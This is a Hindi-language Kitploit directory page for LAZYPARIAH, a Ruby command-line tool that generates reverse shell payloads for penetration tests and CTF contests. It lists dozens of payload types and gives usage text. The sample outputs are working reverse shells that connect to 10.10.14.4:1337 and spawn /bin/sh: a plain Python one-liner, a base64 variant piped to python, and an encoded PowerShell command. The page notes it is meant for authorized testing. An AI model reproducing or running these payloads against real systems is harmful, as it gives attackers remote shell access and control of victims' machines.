Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
LAZYPARIAH — रिवर्स शेल पेलोड को तुरंत उत्पन्न करने के लिए एक उपकरण। | Kitploit
उपकरण/GitHubGitHub/octetsplicer/lazypariah
पेलोड जनरेशनशोषणCTFपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगशेलकोड जनरेशनपेलोड डेवलपमेंटArchived
GitHuboctetsplicer/lazypariah

LAZYPARIAH

रिवर्स शेल पेलोड को तुरंत उत्पन्न करने के लिए एक उपकरण।

रिपॉजिटरी देखें
1337 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

LAZYPARIAH

एक कम-निर्भरता वाला कमांड-लाइन टूल जो तुरंत रिवर्स शेल पेलोड उत्पन्न करता है।

Alt text

विवरण

LAZYPARIAH एक सरल और आसानी से स्थापित होने वाला कमांड-लाइन टूल है जो शुद्ध Ruby में लिखा गया है और जिसका उपयोग पैठ परीक्षणों और कैप्चर-द-फ्लैग (CTF) प्रतियोगिताओं के दौरान तुरंत विभिन्न प्रकार के रिवर्स शेल पेलोड उत्पन्न करने के लिए किया जा सकता है।

LAZYPARIAH द्वारा समर्थित रिवर्स शेल पेलोड में शामिल हैं (लेकिन इन्हीं तक सीमित नहीं हैं):

  • C बाइनरी पेलोड (तुरंत संकलित): c_binary
  • Ruby पेलोड: ruby, ruby_b64, ruby_hex, ruby_c
  • Powershell पेलोड: powershell_c, powershell_b64
  • Base64-एनकोडेड Python पेलोड: python_b64
  • Rust बाइनरी पेलोड (तुरंत संकलित): rust_binary
  • PHP स्क्रिप्ट जिनमें system() फ़ंक्शन के माध्यम से कॉल किए गए base64-एनकोडेड Python पेलोड होते हैं: php_system_python_b64
  • Java क्लासेस (तुरंत संकलित): java_class
  • Perl पेलोड: perl, perl_b64, perl_hex, perl_c
  • सरल PHP पेलोड (विशिष्ट फ़ाइल डिस्क्रिप्टर को लक्षित करते हुए): php_fd, php_fd_c, php_fd_tags

चेतावनी

यह टूल केवल अधिकृत परिस्थितियों में योग्य पैठ परीक्षकों, सुरक्षा शोधकर्ताओं और रेड टीम पेशेवरों द्वारा उपयोग के लिए है। इस टूल को डाउनलोड, इंस्टॉल या उपयोग करने से पहले, सुनिश्चित करें कि आप अपने क्षेत्राधिकार में प्रासंगिक कानूनों को समझते हैं। इस टूल के लेखक अवैध या अनधिकृत उद्देश्यों के लिए इस टूल के उपयोग का समर्थन, प्रोत्साहन या अनुमोदन नहीं करते हैं।

निर्भरताएँ

  • Ruby >= 2.7.1 (LAZYPARIAH का परीक्षण Ruby के पिछले संस्करणों पर नहीं किया गया है)
  • OpenJDK (वैकल्पिक: केवल java_class पेलोड के लिए आवश्यक।)
  • GCC (वैकल्पिक: केवल c_binary पेलोड के लिए आवश्यक।)
  • Rust (वैकल्पिक: केवल rust_binary पेलोड के लिए आवश्यक।)

स्थापना

LAZYPARIAH को अधिकांश GNU/Linux और BSD प्रणालियों पर RubyGems इंस्टॉलर का उपयोग करके निम्नानुसार स्थापित किया जा सकता है:

gem install lazypariah

उपयोग

Usage:	lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note:	<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.

Example:	lazypariah -u python_b64 10.10.14.4 1555
Example:	lazypariah python_c malicious.local 1337

Valid Payloads:
    awk
    bash_tcp
    c_binary
    java_class
    nc
    nc_openbsd
    nc_pipe
    nodejs
    nodejs_b64
    nodejs_c
    nodejs_hex
    perl
    perl_b64
    perl_c
    perl_hex
    php_fd
    php_fd_c
    php_fd_tags
    php_system_python_b64
    php_system_python_hex
    php_system_python_ipv6_b64
    php_system_python_ipv6_hex
    powershell_b64
    powershell_c
    python
    python_b64
    python_c
    python_hex
    python_ipv6
    python_ipv6_b64
    python_ipv6_c
    python_ipv6_hex
    ruby
    ruby_b64
    ruby_c
    ruby_hex
    rust_binary
    socat

Valid Options:
    -h, --help                       Display help text and exit.
    -l, --license                    Display license information and exit.
    -u, --url                        URL-encode the payload.
    -v, --version                    Display version information and exit.
    -D, --fd INTEGER                 Specify the file descriptor used by the target for TCP. Required for certain payloads.
    -P, --pv INTEGER                 Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
    -N, --no-new-line                Do not append a new-line character to the end of the payload.
        --b64                        Encode a c_binary, rust_binary or java_class payload in base-64.
        --hex                        Encode a c_binary, rust_binary or java_class payload in hexadecimal.
        --gzip                       Compress a c_binary, rust_binary or java_class payload using zlib.
        --gzip_b64                   Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
        --gzip_hex                   Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.

आगे के नोट्स और उदाहरण

ऊपर सूचीबद्ध पेलोड लगभग व्यवस्थित रूप से नामित हैं।

_c में समाप्त होने वाले पेलोड को शेल सत्र के अंदर से निष्पादित करने का इरादा है। ये पेलोड प्रासंगिक इंटरप्रेटर (जैसे python3 -c या ruby -e) का उपयोग करके सीधे कोड निष्पादित करते हैं।

उदाहरण के लिए, कमांड lazypariah python_c 10.10.14.4 1337 को निम्नलिखित आउटपुट उत्पन्न करना चाहिए:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

दूसरी ओर, कमांड lazypariah python 10.10.14.4 1337 को बस Python कोड का एक ब्लॉक उत्पन्न करना चाहिए जिसे संभावित रूप से .py फ़ाइल में रखा जा सकता है:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

सामान्य तौर पर, _b64 में समाप्त होने वाले पेलोड का चयन करने से एक कमांड उत्पन्न होना चाहिए जो शेल सत्र के अंदर से चलाने का इरादा रखता है, जैसे _c में समाप्त होने वाले पेलोड के समान, लेकिन कमांड संरचना में भिन्न होंगे। ये कमांड मूल रूप से base64-एनकोडेड कोड के एक ब्लॉक को base64 -d के माध्यम से और फिर प्रासंगिक इंटरप्रेटर (जैसे python3, python2 या ruby) के माध्यम से पाइप करेंगे।

उदाहरण के लिए, कमांड lazypariah python_b64 10.10.14.4 1337 को निम्नलिखित आउटपुट उत्पन्न करना चाहिए:

echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python

इसका अपवाद powershell_b64 है, जो Powershell के अंतर्निर्मित base64 डिकोडर का उपयोग करता है। उदाहरण के लिए, कमांड lazypariah powershell_b64 10.10.14.4 1337 को निम्नलिखित वापस करना चाहिए:

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

(नोट: उपरोक्त पेलोड की लंबाई इस तथ्य के कारण है कि Powershell UTF-16LE एन्कोडिंग का उपयोग करता है, जहां एक एकल वर्ण दो बाइट्स के अनुरूप होता है।)

इस प्रकार के पेलोड कुछ स्थितियों में उपयोगी हो सकते हैं क्योंकि उनमें कोई एकल या दोहरा उद्धरण शामिल नहीं होता है।

टूल डाउनलोड करें